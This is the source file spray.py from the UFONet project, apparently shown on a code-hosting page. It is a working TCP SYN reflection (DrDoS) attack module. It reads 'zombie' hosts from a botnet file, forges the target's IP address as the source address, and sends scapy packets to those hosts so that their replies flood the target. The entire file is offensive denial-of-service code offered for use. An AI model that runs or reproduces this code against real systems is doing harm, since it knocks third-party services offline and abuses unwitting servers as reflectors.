spray.py 4.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. import urllib.parse
  12. try:
  13. from scapy.all import *
  14. except ImportError:
  15. from core._ensure import ensure
  16. if ensure('scapy.all', 'scapy') is None:
  17. print("\nError importing: scapy lib.\n")
  18. sys.exit(2)
  19. from scapy.all import *
  20. # UFONet TCP SYN Reflector (SPRAY)
  21. def randInt():
  22. x = random.randint(1,65535) # TCP ports
  23. return x
  24. def sIP(base_stations): # extract 'base stations'
  25. bs = {}
  26. s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
  27. if not s_zombie in bs:
  28. url = urllib.parse.urlparse(s_zombie)
  29. try:
  30. s_zombie_ip = socket.gethostbyname(url.netloc)
  31. bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
  32. except:
  33. try:
  34. import dns.resolver
  35. r = dns.resolver.Resolver()
  36. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  37. a = r.resolve(url.netloc, "A") # A record
  38. for rd in a:
  39. s_zombie_ip = str(rd)
  40. bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
  41. except:
  42. s_zombie_ip = s_zombie
  43. else:
  44. s_zombie_ip = bs.get(s_zombie)
  45. return s_zombie_ip
  46. def sprayize(ip, sport, rounds):
  47. f = open('botnet/zombies.txt') # use 'zombies' as 'base stations'
  48. base_stations = f.readlines()
  49. base_stations = [ base_station.replace('\n','') for base_station in base_stations ]
  50. f.close()
  51. n=0
  52. try:
  53. for x in range (0,int(rounds)):
  54. n=n+1
  55. s_zombie_ip = sIP(base_stations)
  56. if s_zombie_ip == None: # not any 'base stations' available
  57. print("[Error] [AI] [SPRAY] Imposible to retrieve 'base stations' -> [Aborting!]\n")
  58. break
  59. seq = randInt()
  60. window = randInt()
  61. IP_p = IP()
  62. try:
  63. IP_p.src = ip # SYN packets carring fraudulent (spoofed) source IP belonging to target (aka DrDoS)
  64. except:
  65. print("[Error] [AI] [SPRAY] Imposible to resolve IP from 'target' -> [Aborting!]\n")
  66. break
  67. try:
  68. IP_p.dst = s_zombie_ip
  69. except:
  70. print("[Error] [AI] [SPRAY] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
  71. break
  72. TCP_l = TCP()
  73. TCP_l.sport = sport
  74. TCP_l.dport = sport
  75. TCP_l.seq = seq
  76. TCP_l.window = window
  77. TCP_l.flags = "S" # SYN
  78. SYNACK=(IP_p/TCP_l)
  79. TCP_l.flags = "A" # ACK
  80. TCP_l.seq = SYNACK.ack+1
  81. TCP_l.ack = SYNACK.seq+1
  82. try:
  83. send(IP_p/TCP_l, verbose=0)
  84. print(("[Info] [AI] [SPRAY] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]"))
  85. time.sleep(1) # sleep time required for balanced sucess
  86. except:
  87. print(("[Error] [AI] [SPRAY] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]"))
  88. except:
  89. print("[Error] [AI] [SPRAY] Failing to engage... -> Is still target online? -> [Checking!]")
  90. class SPRAY(object):
  91. def attacking(self, target, rounds):
  92. print(("[Info] [AI] TCP SYN Reflector (SPRAY) is redirecting: [ " + str(rounds)+ " base stations ]"))
  93. if target.startswith('http://'):
  94. target = target.replace('http://','')
  95. sport = 80
  96. elif target.startswith('https://'):
  97. target = target.replace('https://','')
  98. sport = 443
  99. try:
  100. ip = socket.gethostbyname(target)
  101. except:
  102. try:
  103. import dns.resolver
  104. r = dns.resolver.Resolver()
  105. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  106. url = urlparse(target)
  107. a = r.resolve(url.netloc, "A") # A record
  108. for rd in a:
  109. ip = str(rd)
  110. except:
  111. ip = target
  112. if ip == "127.0.0.1" or ip == "localhost":
  113. print("[Info] [AI] [SPRAY] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  114. return
  115. sprayize(ip, sport, rounds) # attack with SPRAY using threading